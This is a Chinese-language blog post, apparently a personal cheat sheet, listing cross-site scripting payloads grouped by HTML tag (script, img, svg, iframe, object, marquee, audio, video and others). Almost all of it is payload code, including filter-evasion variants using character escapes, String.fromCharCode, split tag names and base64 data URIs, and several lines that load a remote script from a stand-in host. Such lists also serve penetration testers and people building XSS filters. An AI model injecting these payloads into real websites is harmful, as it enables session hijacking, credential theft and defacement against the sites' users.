之前整理的一些可以加载XSS Payload的标签,后面还会继续更新。
script标签
这个标签不用多说。
1 2 3 4 5 6 7 8 9
| <script>alert(1)</script> <script src="http://127.0.0.1/a.js"></script> <script>eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029")</script> <script>eval("\x61\x6c\x65\x72\x74\x28\x31\x29")</script> <script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script> <script>var x=eval;x(alert(1));</script> <script>(1, 2, eval)(alert(1))</script> <script>eval.call(null, 'alert(1)')</script> <script>Mi1k7ea();function Mi1k7ea(){alert(1);}</script>
|
a标签
其实,利用到javascript伪协议的payload,可以不用添加引号。
1 2 3 4 5 6
| <a href=javascript:alert(1)>Mi1k7ea</a> <a href=javascript:confirm(1)>Mi1k7ea</a> <a href=# onclick=alert(1)>Mi1k7ea</a> <a href=# onmouseover=alert(1)>Mi1k7ea</a> <a href=# onmouseout=alert(1)>Mi1k7ea</a> //其他onmouse系列...
|
img标签
通常是触发onerror事件来执行js代码,当然也有其他事件可触发。
1 2 3 4 5 6 7 8 9 10
| <img src=x onerror=alert(1)> <img src="pain.jpg" onload=alert(1)> <img src=x onerror=alert(1)> <img src=x onclick=alert(1)> <img src="pain.jpg" onmouseout=alert(1)> //其他onmouse系列... <img src=x onerror=s=createElement('script');body.appendChild(s);s.src='http://127.0.0.1/a.js';>//alert被过滤 <img src=x onerror=document.body.appendChild(document.createElement("scr"+"ipt")).src="http://127.0.0.1/a.js"> <img src=x onerror=eval("\x61\x6c\x65\x72\x74\x28\x31\x29")> <img src=x onerror=eval("alert(1)")>
|
body标签
主要可利用onload、onpageshow等事件属性
1 2 3 4
| <body onload=alert(1)> <body/onload=alert(1)> <body onpageshow=alert(1)> <body/onpageshow=alert(1)>
|
svg标签
svg标签可以和onload组合进行利用:
1 2 3 4
| <svg onload=alert(1)> <svg/onload=alert(1)> <svg onload=document.body.appendChild(document.createElement("scr"+"ipt")).src="http://127.0.0.1/a.js"> <svg onload=eval(String.fromCharCode(97,108,101,114,116,40,49,41))>
|
form标签需要结合其中支持的标签和input标签才能成功触发。
1 2 3 4 5 6 7 8 9
| //onmouse系列 <form onmouseout=alert(1)> <input type="text"> </form>
//利用action <form action=javascript:alert(1)> <input type="submit"> </form>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <input onclick=alert(1)>
//支持onmouse系列 <input onmouseout=alert(1)>
//改变输入框内容时触发 <input type="text" onchange=alert(1)>
//结合form标签使用formaction属性 <form><input type="submit" formaction="javascript:alert(1)"></form> <form><input type="image" formaction="javascript:alert(1)"></form>
//通过Alt+Shift+自定义的字符(这里为M)触发,仅Firefox测试ok <input type="hidden" accesskey="M" onclick=alert(1)>
|
style标签
style标签可以和onload组合进行利用:
1
| <style onload=alert(1) />
|
iframe标签
主要利用src属性来构造。
1 2 3 4 5 6 7 8 9
| <iframe src=javascript:alert(1)></iframe> <iframe onmouseout=alert(1)></iframe> //其他onmouse系列... //base64加密内容为<script>alert(1)</script> <iframe width="0px" height="0px" src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==" /> //base64加密内容为<script src="http://127.0.0.1/a.js"></script> <iframe width="0px" height="0px" src="data:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHA6Ly8xMjcuMC4wLjEvYS5qcyI+PC9zY3JpcHQ+" /> <iframe src="javascript:alert(1)" /> <iframe src="data:text/html,<script>alert(1)</script>" />//谷歌可弹
|
object标签
利用data伪协议。
1 2 3 4
| //base64加密内容为<script>alert(1)</script> <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==" /> //base64加密内容为<script src="http://127.0.0.1/a.js"></script> <object data="data:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHA6Ly8xMjcuMC4wLjEvYS5qcyI+PC9zY3JpcHQ+" />
|
span标签
通过Alt+Shift+自定义的字符(这里为M)触发,仅Firefox测试ok。
1
| <span accesskey="M" onclick=alert(1)></span>
|
marquee标签
Marquee 标签除了在web开发中有标签内容回滚作用之外,它还支持一系列的事件处理程序,因此可以用它来实现XSS Payload触发。Marquee支持的一系列事件处理程序如下:
onbounce事件:是在marquee标签中的内容滚动到上下或左右边界时触发的事件处理程序,该事件只有在marquee标签的behavior属性设为alternate时才有效;
onfinish事件:当 marquee 完成 loop 属性设置的值时触发。它只能在 loop 属性设置为大于 0 的某个数字时触发;
onstart事件: 当 marquee 标签内容开始滚动时触发。
1 2 3
| <marquee behavior="alternate" onstart=alert(1)>Mi1k7ea</marquee> <marquee loop="1" onfinish=alert(1)>Mi1k7ea</marquee> <marquee onstart=alert(1)>Mi1k7ea</marquee>
|
Media类型标签的src属性加上javascript伪协议并不能触发XSS Payload。
audio标签和video标签的以下属性可用于触发payload。
oncanplay: 在用户可以开始播放音视频(audio/video)时触发;
ondurationchange: 在音视频(audio/video)的时长发生变化时触发;
onended: 在音视频(audio/video)播放结束时触发;
onloadeddata: 在音视频数据帧加载时触发,也即在当前帧的数据加载完成且还没有足够的数据播放音视频(audio/video)的下一帧时触发;
onloadedmetadata: 在指定音视频(audio/video)的元数据(如分辨率和时长)加载后触发;
onloadstart: 在浏览器开始寻找指定音视频(audio/video)时触发;
onprogress: 浏览器下载指定的音视频(audio/video)时触发;
onsuspend: 在浏览器读取音视频(audio/video)数据中止时触发。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| //audio标签,对应MP3文件 <audio oncanplay="alert(1)" src="test.mp3" /> <audio ondurationchange="alert(1)" src="test.mp3" /> <audio autoplay="true" onended="alert(1)" src="test.mp3" /> <audio onloadeddata="alert(1)" src="test.mp3" /> <audio onloadedmetadata="alert(1)" src="test.mp3" /> <audio onloadstart="alert(1)" src="test.mp3" /> <audio onprogress="alert(1)" src="test.mp3" /> <audio onsuspend="alert(1)" src="test.mp3" /> <audio src=x onerror=javascript:alert(1) />
//video标签,对应MP4文件 <video oncanplay="alert(1)" src="test.mp4" /> <video ondurationchange="alert(1)" src="test.mp4" /> <video autoplay="true" onended="alert(1)" src="test.mp4" /> <video onloadeddata="alert(1)" src="test.mp4" /> <video onloadedmetadata="alert(1)" src="test.mp4" /> <video onloadstart="alert(1)" src="test.mp4" /> <video onprogress="alert(1)" src="test.mp4" /> <video onsuspend="alert(1)" src="test.mp4" /> <video src=x onerror=javascript:alert(1) /> <video src="test.mp4" onclick=alert(1) />
|
参考
他山之石 | 对 XSS 的一次深入分析认识
xss其他标签下的js用法总结大全